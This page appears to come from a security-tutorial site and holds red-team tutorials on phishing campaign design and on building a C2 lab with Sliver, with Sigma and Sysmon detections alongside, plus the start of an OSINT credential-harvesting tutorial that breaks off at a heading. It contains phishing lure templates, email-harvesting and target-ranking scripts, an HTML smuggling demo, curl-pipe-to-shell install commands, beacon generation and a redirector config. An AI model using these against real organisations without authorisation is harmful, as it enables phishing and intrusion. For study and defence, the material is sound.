Phishing Campaign Design: Pretexting, Lures, and Target Profiling
The most common mistake I see from someone running their first authorized phishing engagement is treating it as an email problem. They obsess over the payload and the landing page, launch on day two, and wonder why the click rate is 4%. The professional sequence is inverted — the message is the last artifact you build. The dossier, the pretext, and the sender domain’s reputation decide whether anyone reads past the subject line. Everything else is decoration.
This walkthrough is written for authorized red teamers and the defenders who have to understand the adversary’s decision chain to break it. Every phase maps to MITRE ATT&CK, and every offensive step is paired with how a blue team sees it.
1. Rules of Engagement and Legal Scope
Phishing simulations touch real people and harvest real PII. None of what follows is legal without explicit, signed authorization. Before a single byte of recon:
- Written authorization naming the target organization, the engagement window, and the specific techniques in scope (attachment vs. link vs. vishing).
- A scoping statement that lists which domains, mailboxes, and employee groups are fair game — and which are explicitly off-limits (legal, HR, executives’ personal accounts).
- Data-handling rules. Harvested credentials, breach-dump matches, and scraped employee data are PII. Encrypt at rest, define a retention window, and destroy on engagement close. You are a custodian, not a collector.
- An abort and de-confliction path so the SOC’s incident response doesn’t burn a weekend chasing your simulation.
If you can’t point to the paragraph in the contract that authorizes a technique, you don’t run it.
2. The Adversary’s Pre-Attack Workflow
Real intrusion sets — APT29, Kimsuky, TA453 — don’t improvise lures. They build a target list first, under the Reconnaissance tactic (TA0043), long before any email leaves an outbox. The workflow is iterative: start with a broad pool of harvested identities, enrich each with org and role context, then narrow to a short list of high-value recipients whose job function makes a specific pretext plausible.
The reason this matters to defenders: most of this generates zero target-side telemetry. Passive identity collection (T1589) reads breach databases and LinkedIn; nothing hits your logs. Your first detectable event is often the inbound message itself — which means the controls that matter most are the ones that limit exposure before the campaign and inspect delivery during it.

3. Target Profiling via OSINT
Passive vs. Active Reconnaissance
Passive recon never touches the target’s infrastructure — breach dumps, social media, cached pages. Active recon (port scans, mail-server probing) does, and it’s noisier. A good profiling phase stays passive as long as possible.
The ATT&CK techniques in play:
| Technique | MITRE ID | What it feeds |
|---|---|---|
| Gather Victim Identity Information | T1589 | Names, emails, exposed credentials |
| Email Addresses | T1589.002 | Format enumeration (first.last@) |
| Employee Names | T1589.003 | Org-chart and LinkedIn scraping |
| Gather Victim Org Information | T1591 | Departments, hierarchy |
| Business Relationships | T1591.002 | Vendor/partner pretext chains |
| Identify Roles | T1591.004 | Who approves wires, who resets passwords |
| Search Open Websites | T1593.001 | Social-media profiling |
| Search Open Technical Databases | T1596 | Cert transparency, Shodan, WHOIS |
Once you know the email format, every name you scrape becomes an address. That’s the whole point of T1589.002:
import itertools
# T1589.002 — derive addresses from a known naming convention.
formats = ["{first}.{last}", "{f}{last}", "{first}{l}"]
domain = "example.com"
employees = [("jane", "doe"), ("ahmed", "khan")]
for first, last in employees:
for fmt in formats:
addr = fmt.format(first=first, last=last,
f=first[0], l=last[0]) + "@" + domain
print(addr) # later: validate against MX / catch-all behaviorScraped profile data turns into a prioritized target map. The goal is T1591.004 — separate the people who can wire money or reset passwords from everyone else:
import json
# T1591.004 — convert scraped profiles into a ranked target list.
with open("profiles.json") as f:
people = json.load(f)
HIGH_VALUE = {"finance", "accounts payable", "it", "helpdesk", "executive"}
for p in people:
dept = p.get("department", "").lower()
priority = "HIGH" if any(k in dept for k in HIGH_VALUE) else "low"
print(f"{priority:4} | {p['name']:24} | {p['title']}")Infrastructure and tech-stack intelligence (T1596) tunes the theme. If certificate transparency logs reveal a Citrix or VPN gateway, “your VPN certificate expires in 24 hours” becomes credible:
# T1596 — map the footprint from public technical databases.
whois example.com | grep -Ei 'registrar|creation|name server'
dig +short MX example.com # mail routing → gateway vendor fingerprint
# Certificate Transparency: enumerate subdomains without touching the target.
curl -s "https://crt.sh/?q=%25.example.com&output=json" \
| jq -r '.[].name_value' | sort -u| Tool | Description | Link |
|---|---|---|
| theHarvester | Email/domain/name harvesting from public sources | github.com |
| Maltego | Graphical link analysis for org mapping | maltego.com |
| Hunter.io | Email format discovery and verification | hunter.io |
| Recon-ng | Modular OSINT framework | github.com |
| Have I Been Pwned | Credential-exposure checking | haveibeenpwned.com |
| OSINT Framework | Curated index of profiling resources | osintframework.com |
4. Pretexting Fundamentals
A pretext is a fabricated backstory that gives the lure context. The believable ones lean on a small set of influence principles:
| Principle | Description |
|---|---|
| Authority | Impersonating IT helpdesk, C-suite, auditors, or law enforcement |
| Urgency / Scarcity | “Account expires in 24 hours,” “final warning before suspension” |
| Social proof | Referencing real colleagues, known vendors, ongoing projects |
| Likability / Familiarity | Hijacking an existing email thread (reply-chain phishing) |
| Pretext narrative | A plausible story matching the target’s job and industry |
The skeleton that turns those principles into a message:
[ROLE the sender claims] -> "Microsoft 365 Security Team"
+ [AUTHORITY trigger] -> policy / compliance / mandate
+ [URGENCY hook] -> "session expires in 24h"
+ [ACTION request] -> "re-verify at <link>"
+ [PLAUSIBLE sender + branding] -> aged look-alike domain, correct logo
= a lure that survives the recipient's first three seconds of scrutinyMatching the Pretext to the Role
Profiling pays off here. A generic lure addressed to everyone is weaker than three tailored ones. Finance gets invoice-fraud and vendor-payment-change narratives. IT and helpdesk staff get credential-reset and MFA-enrollment pretexts. Executives get CEO-fraud and board-document lures. The pretext has to fit what the recipient already expects to receive on a normal Tuesday.

5. Lure Design and Delivery Vector Selection
The delivery vector is T1566 (Phishing), and the sub-technique you pick is a trade-off between trust, evasion, and what the target’s controls inspect:
| Sub-technique | ID | Delivery mechanism |
|---|---|---|
| Spearphishing Attachment | T1566.001 | Malicious file — Office doc, PDF, ISO, LNK, OneNote |
| Spearphishing Link | T1566.002 | Link to harvesting page or payload host |
| Spearphishing via Service | T1566.003 | Teams, Slack, LinkedIn DM, cloud storage |
| Spearphishing Voice | T1566.004 | Vishing / callback phishing |
Attachment campaigns rely on User Execution (T1204.002) — the victim has to open and trigger the file. Links exist precisely to avoid attachment scanning. If a gateway detonates attachments, you move to a link; if it rewrites links, you move to something the scanner doesn’t understand.
| Lure format | Abuse scenario |
|---|---|
| ISO / VHD in archive | Container strips Mark-of-the-Web from the inner payload |
| LNK file | Shortcut launches a hidden interpreter on double-click |
| OneNote attachment | Embedded “click to view” object spawns a child process |
| Double-extension file | invoice.pdf.exe reads as a PDF in a narrow window |
| QR code (“quishing”) | URL lives in an image — no clickable link for gateways to parse |
| HTML smuggling | Browser assembles the payload locally from inline data |
HTML smuggling is worth understanding because it inverts the perimeter: the file never crosses the network as a file, so attachment and URL scanners see only plain HTML.
<!-- Illustrative ONLY — shows why HTML smuggling evades file/URL scanners.
The "payload" never traverses the network as a file; the browser builds it
locally from a string already inside the HTML. The gateway sees inert markup. -->
<script>
const data = atob("SGVsbG8gZnJvbSB0aGUgYnJvd3Nlcg=="); // benign demo content
const blob = new Blob([data], { type: "application/octet-stream" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url; a.download = "invoice.txt"; // forces a local "save"
// a.click(); // auto-trigger left disabled deliberately
</script>6. Sender Infrastructure and Spoofing
Delivery fails at the envelope if the sender looks wrong. Adversaries register look-alike domains (T1583.001) — corp-helpdesk.example against the real corp.helpdesk.example — and warm up aged sending accounts (T1585.002) so they pass reputation filters. The highest-trust option is hijacking a real conversation from a compromised third-party mailbox (T1586.002), where the reply lands inside an existing thread the victim already trusts.
From the attacker’s chair, the three email-authentication records define what’s possible:
| Control | What it does |
|---|---|
| SPF (TXT) | Authorizes sending IPs; ~all softfails, -all hardfails |
| DKIM | Cryptographic signature over headers/body; detects mid-transit tampering |
| DMARC | Enforces policy (p=reject / p=quarantine / p=none) on SPF/DKIM failure and binds both to the From: header via alignment |
Direct domain spoofing dies against a hard -all SPF record plus DMARC p=reject. That’s why attackers pivot to look-alike domains — a domain you control passes its own SPF and DKIM cleanly, and DMARC has nothing to complain about because the From: is genuinely yours.
A war story worth your hour: I once burned a beautifully aged look-alike domain in the first thirty minutes of a campaign because the landing page’s TLS certificate had been issued that morning. A switched-on analyst pulled the cert transparency log, saw a brand-new cert on a brand-new host receiving inbound clicks, and quarantined the whole run. The same crt.sh query you use to profile a target is the one defenders use to catch you. Provision infrastructure days ahead, not minutes.

7. Reconnaissance Phishing vs. Payload Delivery
Not every phishing message delivers malware. T1598 (Phishing for Information) sits under Reconnaissance — it tricks the target into divulging credentials or actionable data with no payload at all. A fake login portal (T1598.003) harvests a password; callback phishing extracts data verbally over the phone. The defining indicator: no malicious attachment, no exploit-laden link. That absence is what distinguishes T1598 from T1566.
Two modern variants defeat MFA and deserve detection-level treatment (no working frameworks here):
- Adversary-in-the-Middle (
T1557). A reverse proxy relays the victim’s real login to the real service and captures the session cookie issued after a successful MFA prompt. The stolen cookie replays the authenticated session — the second factor never protected anything because it already passed. - MFA Request Generation (
T1621). Push-bombing a target with repeated approval prompts until fatigue or confusion yields a tap. - OAuth device-code phishing. Abusing the device-authorization flow to capture tokens without ever touching a password, against M365 and Google Workspace.
The defensive answer to all three is phishing-resistant authentication — FIDO2 / passkeys — which is not susceptible to relay because the credential is bound to the legitimate origin.
8. Campaign Execution and Metrics
For authorized simulations, GoPhish handles sending profiles, landing pages, and tracking. The shape of a scoped, consented campaign:
# Authorized simulation only. Illustrative profile + campaign shape.
sending_profile:
name: "IT Helpdesk Sim"
from_address: "helpdesk@corp-helpdesk.example" # pre-warmed look-alike
host: "smtp.relay.internal:587"
username: "sim-sender"
ignore_cert_errors: false
campaign:
name: "Q3 Awareness - Password Reset"
url: "https://corp-helpdesk.example/reset" # tracked landing page
launch_date: "2026-07-01T09:00:00Z"
tracking_pixel: true # open-rate beacon
groups: ["finance-pilot"] # scoped, consented listRead the metrics honestly. Open rate measures subject-line and sender plausibility. Click rate measures pretext strength. Submit rate — credentials actually entered — is the number that matters for risk, and it’s the one you report. Don’t shame individuals; aggregate by department and feed the result back into training. And when the engagement closes, destroy the harvested submissions per your data-handling rules.
9. Detection and Defense — The Defender’s View
Recon is invisible, so defense concentrates at delivery and execution. Email authentication is the first wall: enforce DMARC p=reject with alignment, and teach analysts to read the headers.
# Defender view: read Authentication-Results to spot spoofing.
$headers = Get-Content .\suspicious.eml -Raw
[regex]::Matches($headers, 'Authentication-Results:.*?(?=\r?\n\S)') |
ForEach-Object { $_.Value }
# Flag: spf=fail, dkim=fail, dmarc=fail (or dmarc=none = no enforcement)
Post-delivery, the payload betrays itself through process lineage. Key Sysmon events:
| Event ID | Name | Relevance to phishing |
|---|---|---|
1 | Process Create | outlook.exe → powershell.exe, winword.exe → cmd.exe |
3 | Network Connection | Unusual outbound from an Office app (C2 callback) |
11 | File Created | Attachment written to %TEMP%\Outlook Temp\ |
15 | FileCreateStreamHash | Zone.Identifier ADS confirms internet origin (MOTW) |
22 | DNS Query | Office or browser DNS right after lure interaction |
The canonical detection — an Office app spawning a script interpreter:
title: Office Application Spawning a Script Interpreter
id: 6c4f1a2e-phishing-office-child
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\winword.exe'
- '\excel.exe'
- '\outlook.exe'
- '\onenote.exe'
Image|endswith:
- '\powershell.exe'
- '\cmd.exe'
- '\mshta.exe'
- '\wscript.exe'
- '\cscript.exe'
condition: selection
tags:
- attack.initial_access
- attack.t1566.001
- attack.t1204.002
level: highCatch attachment execution by its working directory:
title: Process Execution From Outlook Attachment Temp Path
id: 9a2b7c10-phishing-outlook-temp
logsource:
category: process_creation
product: windows
detection:
selection:
CurrentDirectory|contains: '\Content.Outlook\'
condition: selection
tags:
- attack.initial_access
- attack.t1566.001
level: highCredential-harvest fallout shows up in the Security log — 4625 (failed logon), 4740 (lockout from spray), 4688 (process creation with command-line auditing) — and in M365 / Entra ID sign-in risk events. Hardening that actually moves the needle:
- ASR rules blocking Office apps from spawning child processes.
- Protected View + Trust Center disabling internet-origin macros by default, with MOTW enforced even for archive-extracted files to kill the ISO bypass.
- Safe Links / Safe Attachments for click-time URL rewriting and sandbox detonation.
- FIDO2 / passkeys over push-based MFA — the only control that survives AiTM.
- Limiting public OSINT exposure — shallow public org charts, undisclosed email formats, sanitized job postings.
- Awareness training using current lures (ISO, OneNote, QR), not just decade-old attachment scares.
10. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Gather Victim Identity Information | T1589 | Largely invisible; monitor breach exposure, 4625/4740 downstream |
| Gather Victim Org Information / Roles | T1591 / T1591.004 | Limit public org-chart depth |
| Search Open Technical Databases | T1596 | Monitor own CT logs for look-alike certs |
| Acquire Infrastructure: Domains | T1583.001 | Newly-registered-domain blocking at gateway |
| Compromise Accounts: Email | T1586.002 | Anomalous reply-chain sender, header mismatch |
| Phishing | T1566 | Email auth, gateway telemetry, Sysmon EID 1 |
| Spearphishing Attachment | T1566.001 | Sysmon EID 1/11/15, Office child-process Sigma |
| Spearphishing Link | T1566.002 | Safe Links, URL detonation |
| Spearphishing Voice | T1566.004 | Helpdesk verification policy, user reporting |
| User Execution: Malicious File | T1204.002 | Parent-child process chain |
| Phishing for Information | T1598 | Link to harvest page with no payload |
| Adversary-in-the-Middle | T1557 | Impossible-travel, session anomalies; FIDO2 |
| MFA Request Generation | T1621 | Repeated push prompts in sign-in logs |
Summary
- A phishing campaign is won during reconnaissance, not in the message — the dossier and pretext decide the outcome before delivery.
- Target profiling chains passive OSINT (
T1589,T1591,T1593,T1596) into a ranked list, generating almost no target-side telemetry. - Pretexts weaponize authority, urgency, and familiarity; the strongest ones match the recipient’s actual job function.
- Delivery vector (
T1566sub-techniques) is a trade-off against the controls in place — attachment, link, service, or voice — with ISO, OneNote, quishing, and HTML smuggling as modern evasion paths. T1598harvests data with no payload, and AiTM (T1557) defeats push-based MFA — both demand phishing-resistant FIDO2.- Defenders win at delivery and execution: enforce
DMARC p=reject, hunt Office child-process chains via Sysmon EID 1, and convert every red-team finding into a concrete blue-team control.
Related Tutorials
- Passive OSINT: Mapping the Target Without Touching It
- APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
References
- Phishing (T1566) – Enterprise | MITRE ATT&CK®
- Phishing for Information (T1598) – Enterprise | MITRE ATT&CK®
- Gather Victim Identity Information (T1589) – Enterprise | MITRE ATT&CK®
- Gather Victim Org Information (T1591) – Enterprise | MITRE ATT&CK®
- Phishing: Spearphishing Link (T1566.002) – Enterprise | MITRE ATT&CK®
- Phishing for Information: Spearphishing Service (T1598.001) – Enterprise | MITRE ATT&CK®
Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
Objective: Understand how to design, build, and operate a self-contained red team lab — hypervisor and VM selection, network segmentation, C2 framework deployment, redirector architecture, and OPSEC discipline — so authorized operators get a reproducible practice environment and defenders learn what adversary infrastructure looks like from the inside.
1. Lab Philosophy and Legal Guardrails
A red team lab exists for one reason: to test tradecraft against telemetry without touching production. Everything in this tutorial is for authorized testing inside an isolated environment you own. Never point lab C2 at systems outside your scope.
A dedicated lab gives you two things production cannot. First, repeatability — snapshot, detonate, revert, repeat. Second, observability — you run the blue stack and the red stack side by side and watch every event a real implant generates.
Two build models exist:
- Air-gapped lab — host-only virtual networks with no internet. Safest for malware detonation and EDR-bypass study.
- Cloud-backed lab — VPS-hosted team servers and redirectors for testing real callbacks, domain categorization, and redirector chains.
Most learners start air-gapped and graduate to a hybrid with a single controlled egress gateway.
2. Hardware and Hypervisor Selection
A workable lab runs on a single workstation. The constraint is RAM, because a Domain Controller, a Windows endpoint, a Linux target, and a SIEM run concurrently.
| Component | Recommendation |
|---|---|
| Host RAM | 16 GB minimum, 32 GB+ for full AD + SIEM |
| Storage | 100 GB SSD minimum, 256 GB+ for multi-VM snapshots |
| CPU | Quad-core with virtualization extensions (VT-x/AMD-V) |
Choose a Type-2 hypervisor:
| Feature | VMware Workstation Pro | VirtualBox |
|---|---|---|
| Nested virtualization | Reliable | Limited |
| Advanced networking | LAN Segments | Internal Network |
| Snapshot fidelity | High | Adequate |
| Cost | Commercial | Free |
VMware Workstation Pro / Fusion is preferred for nested virtualization and snapshot fidelity; VirtualBox is the free alternative with less reliable advanced networking.
Snapshot discipline is non-negotiable. Snapshot before each phase — a clean pre-exploitation baseline, a post-compromise state, a post-persistence state — so you can replay a scenario without rebuilding.
3. Network Architecture Design
Segment the lab into tiers so the attacker subnet, target subnet, and monitoring subnet cannot freely route to one another. This mirrors real network boundaries and forces realistic lateral movement.
| Networking Mode | Behavior | Lab Use |
|---|---|---|
| Host-Only | Isolated subnet, no internet | Default for all tiers |
| NAT | VMs share the host IP outbound | Controlled egress only |
| LAN Segment / Internal | Inter-VM only, no host | Target-to-target traffic |
| Bridged | VM joins physical LAN | Avoid (leaks to real network) |
Build three host-only segments: attacker, target, monitoring. A dedicated “egress” VM with dual NICs (one host-only, one NAT) acts as the only controlled gateway when you must test real C2 callbacks. The monitoring tier should receive logs one-way and remain unreachable from the attacker subnet.

4. Building the Target Network
The target network simulates a small enterprise: a Domain Controller, a domain-joined Windows endpoint, and a Linux host.
| VM Role | OS | Purpose |
|---|---|---|
| Domain Controller | Windows Server 2019/2022 | AD DS, DNS, DHCP |
| Windows Target | Windows 10/11 (domain-joined) | Implant testing |
| Linux Target | Ubuntu / CentOS | Cross-platform implants |
Promote the DC with AD DS, configure DNS, then join endpoints to the domain. The following script joins a Windows target, points DNS at the DC, and enables WinRM for management.
# Domain join + WinRM enablement for a lab Windows target
$DC = "192.168.56.10" # Domain Controller IP
$Domain = "lab.local"
# Point DNS at the DC so domain resolution works
Set-DnsClientServerAddress -InterfaceAlias "Ethernet0" -ServerAddresses $DC
# Enable remote management for lab orchestration
Enable-PSRemoting -Force
Set-Item WSMan:\localhost\Client\TrustedHosts -Value $DC -Force
# Join the domain (prompts for credentials, then reboot)
Add-Computer -DomainName $Domain -Restart5. Deploying the Blue Team Monitoring Stack
The monitoring tier is what turns a playground into a detection lab. Deploy Wazuh or Security Onion as the SIEM/IDS, then instrument every Windows VM with Sysmon using a community config such as SwiftOnSecurity or Olaf Hartong’s sysmon-modular.
| VM Role | OS | Purpose |
|---|---|---|
| Blue Team / SIEM | Security Onion / Wazuh | Log aggregation, IDS, alerting |
Forward all Windows and Sysmon channels to the SIEM, enable real-time alerting, and leave Windows Defender enabled on targets so you can observe EDR behavior against your implants. Add Zeek for network metadata — its conn.log is invaluable for spotting beaconing.
6. C2 Framework Selection and Trade-offs
A C2 framework is the infrastructure used to control compromised systems remotely. It has three parts: a C2 server (backend), a C2 client (operator interface), and a C2 agent / implant (payload on the target).
| Framework | License | Notes |
|---|---|---|
| Sliver | Open-source (Bishop Fox) | mTLS, HTTP/S, DNS, WireGuard transports; go-to Cobalt Strike alternative |
| Havoc | Open-source | Real-time client UI via API; Cobalt-Strike-like feel |
| Mythic | Open-source | Docker-based, web UI, pluggable C2 profiles and agents |
| Metasploit | Open-source | msfconsole, multi/handler; good for catching payloads, weak for long-haul |
| Cobalt Strike | Commercial (~$3,540/user/yr) | Malleable C2, Beacon, Aggressor Script; awareness only |
Core architecture primitives apply across all of them:
| Term | Definition |
|---|---|
| Team Server | Persistent backend; never directly internet-facing |
| Implant / Beacon / Agent | Payload on the target that calls back |
| Redirector | Disposable proxy in front of the team server; assumed to be burned |
| Listener | Server-side handler waiting for callbacks (e.g., HTTPS/443) |
| Malleable Profile | Config shaping HTTP/S traffic to mimic legitimate requests |
| Sleep / Jitter | Callback interval plus randomness; breaks beacon regularity |
This tutorial uses Sliver as the primary example because it is free, modern, and well-documented at sliver.sh/docs.
7. Deploying Sliver C2
Install the server on a dedicated Ubuntu 22.04 host on the attacker tier. The team server should never be exposed directly — a redirector sits in front of it (Section 8).
# Install Sliver server (run on the dedicated C2 VM)
curl https://sliver.sh/install | sudo bash
# Run as a service so it survives reboots
sudo systemctl enable --now sliver
# Drop into the server console
sliver-serverInside the console, start an HTTPS listener and generate a Windows x64 beacon. --skip-symbols speeds up builds in a lab; flags change between releases, so verify against the official docs.
# Start an HTTPS listener bound to the redirector-facing interface
https --lhost 192.168.56.20 --lport 443
# Generate a Windows x64 HTTPS beacon
generate beacon --http 192.168.56.20 --os windows --arch amd64 --skip-symbols
# After the implant calls back:
sessions # list active sessions
use <session_id> # interact with a sessionThe HTTP/S transport is shaped via /root/.sliver/configs/http-c2.json, which controls URIs, headers, and polling behavior. The default mTLS transport listens on 8888.
8. Redirector Architecture
A redirector is a disposable proxy that fronts the team server. Implants talk only to the redirector; if blue team burns its IP, you rebuild it and the long-term server stays hidden.
Implant → Redirector (Nginx/Apache/socat) → C2 Team ServerThe redirector filters traffic: requests matching your implant’s expected path and user-agent are forwarded to the team server; everything else is dropped or returned as a benign error or redirected to a legitimate site.
# Nginx redirector: forward only matching C2 traffic, 404 everything else
server {
listen 443 ssl;
server_name cdn.example-lab.local;
location /api/v2/updates {
# Only forward requests carrying the expected implant User-Agent
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") {
return 404;
}
proxy_pass https://192.168.56.30:443; # team server (internal)
proxy_ssl_verify off;
}
# Anything else gets a flat 404 — no team server exposure
location / {
return 404;
}
}For HTTPS redirectors use Apache, Nginx, or Caddy; for DNS redirectors use socat or iptables. In advanced cloud setups, CDN fronting via CloudFront, Azure CDN, or Cloudflare blends C2 with legitimate traffic. Do not deploy domain-fronting or malleable-profile code from a tutorial — reference framework docs.

9. OPSEC and Infrastructure Hygiene
Your infrastructure is your OPSEC. A flat setup is a single point of failure that burns the whole operation.
- Never connect the operator machine directly to the team server. Tunnel through a VPN overlay (WireGuard, Tailscale/Headscale) or a jump box.
- Separate infrastructure for phishing, payload hosting, and C2 — three servers, three redirectors.
- Use aged, categorized domains registered 30+ days prior with a benign-looking category.
- Rotate redirector IPs and never reuse burned infrastructure.
- Geofence access via Cloudflare so only the client’s country can reach C2 and campaign domains, blocking external threat-intel scanners.
A minimal operator WireGuard client routes only team-server traffic through the jump box:
# wg0.conf — operator client tunneling to the jump box
[Interface]
PrivateKey = <operator_private_key>
Address = 10.10.10.2/32
[Peer]
PublicKey = <jumpbox_public_key>
Endpoint = jump.example-lab.local:51820
AllowedIPs = 10.10.10.0/24 # only the team-server subnet
PersistentKeepalive = 25Relevant transports and ports:
| Protocol | Port | C2 Use |
|---|---|---|
| HTTPS | 443 | Primary beacon transport |
| HTTP | 80 | Fallback / staging |
| DNS | 53 | Low-and-slow tunneling |
| SMB Named Pipe | IPC$ | Lateral movement pivots |
| WireGuard | 51820 | Operator VPN overlay |
| mTLS | 8888 | Sliver default implant transport |

10. Infrastructure-as-Code with Terraform
Terraform declares lab state in configuration, so a burned redirector is rebuilt in minutes. The example provisions a team server and a redirector, then bootstraps the server with remote-exec.
resource "digitalocean_droplet" "c2_server" {
name = "c2-teamserver"
region = "nyc3"
size = "s-2vcpu-4gb"
image = "ubuntu-22-04-x64"
provisioner "remote-exec" {
inline = ["curl https://sliver.sh/install | sudo bash"]
}
}
resource "digitalocean_droplet" "redirector" {
name = "c2-redirector"
region = "nyc3"
size = "s-1vcpu-1gb"
image = "ubuntu-22-04-x64"
}
output "c2_ip" { value = digitalocean_droplet.c2_server.ipv4_address }
output "redirector_ip"{ value = digitalocean_droplet.redirector.ipv4_address }terraform apply builds the stack and emits IPs; terraform destroy tears it down. Teardown-and-rebuild cycles keep infrastructure disposable.
11. Common Attacker Techniques
These are the primitives a lab is built to study and detect.
| Technique | Description |
|---|---|
| HTTPS beaconing | Implant polls a redirector over 443 to blend with web traffic |
| DNS tunneling | Encodes C2 in DNS queries for low-and-slow egress |
| Redirector chaining | Disposable proxies hide the long-term team server |
| Domain fronting | CDN obfuscation routes C2 through trusted domains |
| Malleable profiles | Shape headers/URIs/jitter to mimic legitimate apps |
| SMB named-pipe C2 | Internal pivots over IPC$ for lateral movement |
| Ingress tool transfer | Implant downloads additional tooling to the target |
12. Defensive Strategies and Detection
Run the same lab as blue team to build detections. Sysmon plus a tuned config surfaces nearly every C2 stage.
| Event ID | Name | C2 Relevance |
|---|---|---|
1 | Process Creation | Implant execution; check ParentImage, CommandLine, Hashes |
3 | Network Connection | Connections to C2; DestinationIp, DestinationPort, Image |
7 | Image Loaded | DLL loads by implant; Signed, Signature |
8 | CreateRemoteThread | Injection; SourceImage → TargetImage |
11 | FileCreate | Stager writes payload to disk |
22 | DNSEvent | Beaconing via unusual or excessive QueryName |
23 | FileDelete | Implant self-deletes after staging |
Tune Sysmon to capture outbound connections from non-browser processes and DNS queries from shells:
<RuleGroup name="C2 Network" groupRelation="or">
<NetworkConnect onmatch="include">
<DestinationPort condition="is">443</DestinationPort>
<DestinationPort condition="is">53</DestinationPort>
</NetworkConnect>
<DnsQuery onmatch="include">
<Image condition="end with">powershell.exe</Image>
<Image condition="end with">cmd.exe</Image>
</DnsQuery>
</RuleGroup>A Sigma rule for beacon-like connections keys on Sysmon EventID 3, common C2 ports, and an allowlist of browsers. Correlate hits with short, regular intervals to catch low-jitter beacons.
title: Non-Browser Outbound to Common C2 Ports
logsource:
product: windows
service: sysmon
category: network_connection
detection:
selection:
EventID: 3
DestinationPort:
- 443
- 80
- 53
Initiated: 'true'
filter_browsers:
Image|contains:
- '\chrome.exe'
- '\firefox.exe'
- '\msedge.exe'
condition: selection and not filter_browsers
fields:
- Image
- DestinationIp
- DestinationPort
- DestinationHostname
level: highLayer behavioral analytics on top:
- Jitter analysis — alert on outbound HTTPS at regular intervals (e.g., 60 ± 5 s); Zeek
conn.logexcels at long-duration, low-byte sessions. - Named-pipe anomalies — Cobalt Strike’s default
msagent_*pipe names appear in SysmonEID 17/18. - Anomalous parent-child chains —
Word.exe → cmd.exe → powershell.exeis a classic phishing chain. - User-agent mismatch —
svchost.exeissuing a Chrome user-agent is anomalous.
Enable Command Line Auditing via GPO (Audit Process Creation → include command line, EID 4688) and forward Microsoft-Windows-PowerShell/Operational (EID 4104) script-block logs to the SIEM. Keep the monitoring tier one-way and unreachable from the attacker subnet.
MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Command and Control (tactic) | TA0011 | Beacon traffic correlation across SIEM |
| Application Layer Protocol | T1071 | Sysmon EID 3, Zeek conn.log |
| Web Protocols | T1071.001 | Non-browser HTTPS to rare destinations |
| DNS | T1071.004 | Sysmon EID 22, DNS-Client ETW |
| Proxy / External Proxy | T1090 / T1090.002 | Redirector IP reputation, JA3 anomalies |
| Domain Fronting | T1090.004 | TLS SNI vs. Host header mismatch |
| Protocol Tunneling | T1572 | mTLS/DoH volume anomalies |
| Ingress Tool Transfer | T1105 | Sysmon EID 11, download-and-exec |
| Acquire Infrastructure: VPS / Domains | T1583.003 / T1583.001 | Newly registered / uncategorized domains |
| Remote Access Software | T1219 | RMM tools acting as C2 |
13. Tools for Red Team Lab Analysis
| Tool | Description | Link |
|---|---|---|
| Sliver | Open-source C2 server, client, implants | sliver.sh |
| Wazuh | SIEM + EDR agent for the blue tier | wazuh.com |
| Security Onion | IDS + log management distro | securityonionsolutions.com |
| Sysmon | Endpoint telemetry (process/network/DNS) | microsoft.com |
| Zeek | Network metadata and beacon hunting | zeek.org |
| Terraform | Infrastructure-as-code provisioning | terraform.io |
| WireGuard | Operator VPN overlay | wireguard.com |
| Nginx | Redirector reverse proxy | nginx.org |
Summary
- A red team lab is a closed, segmented environment where authorized operators rehearse C2 tradecraft while the blue stack records every event it generates.
- Tiered host-only networks, snapshot discipline, and a Type-2 hypervisor make scenarios isolated and repeatable.
- A team server must never be internet-facing; disposable redirectors front it and are rebuilt with infrastructure-as-code when burned.
- OPSEC is architecture — operator VPN overlays, separated phishing/C2/payload infrastructure, aged domains, and rotated IPs keep operations deniable.
- Detect C2 with Sysmon
EID 3/22, jitter and named-pipe analysis, and Sigma rules, mapping every primitive back to MITRETA0011.
Related Tutorials
- OPSEC Principles for Red Teamers: Staying Undetected
- Setting Up Your Exploit Development Lab (VMs, Debuggers, Tools)
- Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers
References
OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
Objective: Understand how adversaries assemble a pre-engagement targeting package — employee identities, email addresses, and exposed credentials — from public sources such as LinkedIn, breach databases, and email-discovery APIs, and learn the matching detection and hardening guidance that lets defenders run the same playbook against their own organization.
1. What OSINT Reconnaissance Is (and Isn’t)
Open-Source Intelligence (OSINT) is the collection and correlation of information from publicly available sources. In a red team context it forms the Reconnaissance phase that precedes any packet sent to the target.
The critical distinction is passive versus active:
| Concept | What It Actually Is |
|---|---|
| Passive OSINT | Querying third-party databases, search engines, and public records. No packet ever reaches the target, so the target cannot detect you. |
| Active recon boundary | Direct interaction with target infrastructure — DNS zone transfers, port scans, banner grabbing. The target can log it. |
| Email format inference | Deriving a standard format from confirmed samples, then extrapolating across all discovered names. |
| Credential stuffing pipeline | Cross-referencing leaked credential databases against a domain to find reusable passwords for spraying or stuffing. |
Everything in this tutorial is passive or queries third-party services — never the target. Even so, all activity must sit inside a signed rules of engagement (RoE) and scope document. You only run breach-domain searches and authenticated harvesting against domains you own or are explicitly authorized to test. Storing breach data carries legal weight; handle it like the regulated material it is.
2. The Adversary’s Goal: Building a Targeting Package
The output of this phase is a structured targeting package. A complete one contains:
- Employee list — names, titles, departments, reporting structure.
- Email addresses — confirmed or inferred from the corporate format.
- Exposed credentials — breach hits tied to those addresses.
- Tech stack — EDR, VPN, and cloud platforms gleaned from job postings.
- Attack surface — subdomains and employee-facing portals.
This maps directly to ATT&CK Reconnaissance (TA0043): gathering identity information (T1589), org information (T1591), and searching open websites (T1593). The package’s value is leverage — it converts anonymous infrastructure into named humans with reusable passwords and a known authentication portal.

3. LinkedIn People Harvesting
